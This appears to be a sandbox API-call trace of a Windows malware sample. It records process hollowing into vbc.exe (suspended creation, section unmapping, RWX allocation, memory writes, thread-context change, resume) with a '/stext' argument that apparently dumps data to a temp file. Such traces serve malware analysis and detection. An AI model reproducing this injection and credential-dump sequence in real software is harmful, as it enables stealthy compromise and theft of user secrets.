	[0098.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe /stext \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt\"", cchWideChar=112, lpMultiByteStr=0x6b5e448, cbMultiByte=114, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe /stext \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt\"", lpUsedDefaultChar=0x0) returned 112
	[0098.666] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe /stext \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2595e74*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2595a90 | out: lpCommandLine="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe /stext \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt\"", lpProcessInformation=0x2595a90*(hProcess=0x5f4, hThread=0x5f8, dwProcessId=0xad4, dwThreadId=0xae0)) returned 1
	[0098.668] CoTaskMemFree (pv=0x0) 
	[0098.668] CoTaskMemFree (pv=0x0) 
	[0098.668] NtUnmapViewOfSection (ProcessHandle=0x5f4, BaseAddress=0x400000) returned 0x0
	[0098.669] VirtualAllocEx (hProcess=0x5f4, lpAddress=0x400000, dwSize=0x58000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000
	[0098.671] NtWriteVirtualMemory (in: ProcessHandle=0x5f4, BaseAddress=0x400000, Buffer=0x34016d0*, NumberOfBytesToWrite=0x400, NumberOfBytesWritten=0x0 | out: Buffer=0x34016d0*, NumberOfBytesWritten=0x0) returned 0x0
	[0098.671] NtWriteVirtualMemory (in: ProcessHandle=0x5f4, BaseAddress=0x401000, Buffer=0x3401ad0*, NumberOfBytesToWrite=0x41e00, NumberOfBytesWritten=0x0 | out: Buffer=0x3401ad0*, NumberOfBytesWritten=0x0) returned 0x0
	[0098.673] NtWriteVirtualMemory (in: ProcessHandle=0x5f4, BaseAddress=0x443000, Buffer=0x34438d0*, NumberOfBytesToWrite=0xb600, NumberOfBytesWritten=0x0 | out: Buffer=0x34438d0*, NumberOfBytesWritten=0x0) returned 0x0
	[0098.673] NtWriteVirtualMemory (in: ProcessHandle=0x5f4, BaseAddress=0x44f000, Buffer=0x344eed0*, NumberOfBytesToWrite=0x1600, NumberOfBytesWritten=0x0 | out: Buffer=0x344eed0*, NumberOfBytesWritten=0x0) returned 0x0
	[0098.673] NtWriteVirtualMemory (in: ProcessHandle=0x5f4, BaseAddress=0x452000, Buffer=0x34504d0*, NumberOfBytesToWrite=0x5800, NumberOfBytesWritten=0x0 | out: Buffer=0x34504d0*, NumberOfBytesWritten=0x0) returned 0x0
	[0098.674] NtGetContextThread (in: ThreadHandle=0x5f8, Context=0x2595aac | out: Context=0x2595aac*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x4748da, Ebp=0x0, Eip=0x776401c4, SegCs=0x23, EFlags=0x202, Esp=0x18fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0
	[0098.677] NtWriteVirtualMemory (in: ProcessHandle=0x5f4, BaseAddress=0x0, Buffer=0x400000, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x0 | out: NumberOfBytesWritten=0x0) returned 0xc0000005
	[0098.677] NtSetContextThread (ThreadHandle=0x5f8, Context=0x2595aac*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x442628, Ebp=0x0, Eip=0x776401c4, SegCs=0x23, EFlags=0x202, Esp=0x18fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0
	[0098.678] NtResumeThread (in: ThreadHandle=0x5f8, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0
	[0098.698] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.699] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.700] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.701] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.707] GetCurrentProcess () returned 0xffffffff
	[0098.707] GetCurrentThread () returned 0xfffffffe
	[0098.707] GetCurrentProcess () returned 0xffffffff
	[0098.707] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x6b5ea2c, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x6b5ea2c*=0x558) returned 1
	[0098.707] GetCurrentThreadId () returned 0xad0
	[0098.707] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.708] GetCurrentActCtx (in: lphActCtx=0x6b5e8d0 | out: lphActCtx=0x6b5e8d0*=0x6dbd24) returned 1
	[0098.708] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73e40000
	[0098.708] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0098.708] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x40216
	[0098.713] SetWindowLongW (hWnd=0x40216, nIndex=-4, dwNewLong=2003183069) returned 78907366
	[0098.725] GetWindowLongW (hWnd=0x40216, nIndex=-4) returned 2003183069
	[0098.725] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x6b5e098 | out: phkResult=0x6b5e098*=0x574) returned 0x0
	[0098.725] RegQueryValueExW (in: hKey=0x574, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x6b5e0b8, lpData=0x0, lpcbData=0x6b5e0b4*=0x0 | out: lpType=0x6b5e0b8*=0x0, lpData=0x0, lpcbData=0x6b5e0b4*=0x0) returned 0x2
	[0098.725] RegQueryValueExW (in: hKey=0x574, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x6b5e0b8, lpData=0x0, lpcbData=0x6b5e0b4*=0x0 | out: lpType=0x6b5e0b8*=0x0, lpData=0x0, lpcbData=0x6b5e0b4*=0x0) returned 0x2
	[0098.725] RegCloseKey (hKey=0x574) returned 0x0
	[0098.725] SetWindowLongW (hWnd=0x40216, nIndex=-4, dwNewLong=78907846) returned 2003183069
	[0098.725] GetWindowLongW (hWnd=0x40216, nIndex=-4) returned 78907846
	[0098.725] GetWindowLongW (hWnd=0x40216, nIndex=-16) returned 113311744
	[0098.725] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x40216, Msg=0x24, wParam=0x0, lParam=0x6b5e370) returned 0x0
	[0098.725] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x40216, Msg=0x81, wParam=0x0, lParam=0x6b5e364) returned 0x1
	[0098.725] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x40216, Msg=0x83, wParam=0x0, lParam=0x6b5e350) returned 0x0
	[0098.726] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x40216, Msg=0x1, wParam=0x0, lParam=0x6b5e364) returned 0x0
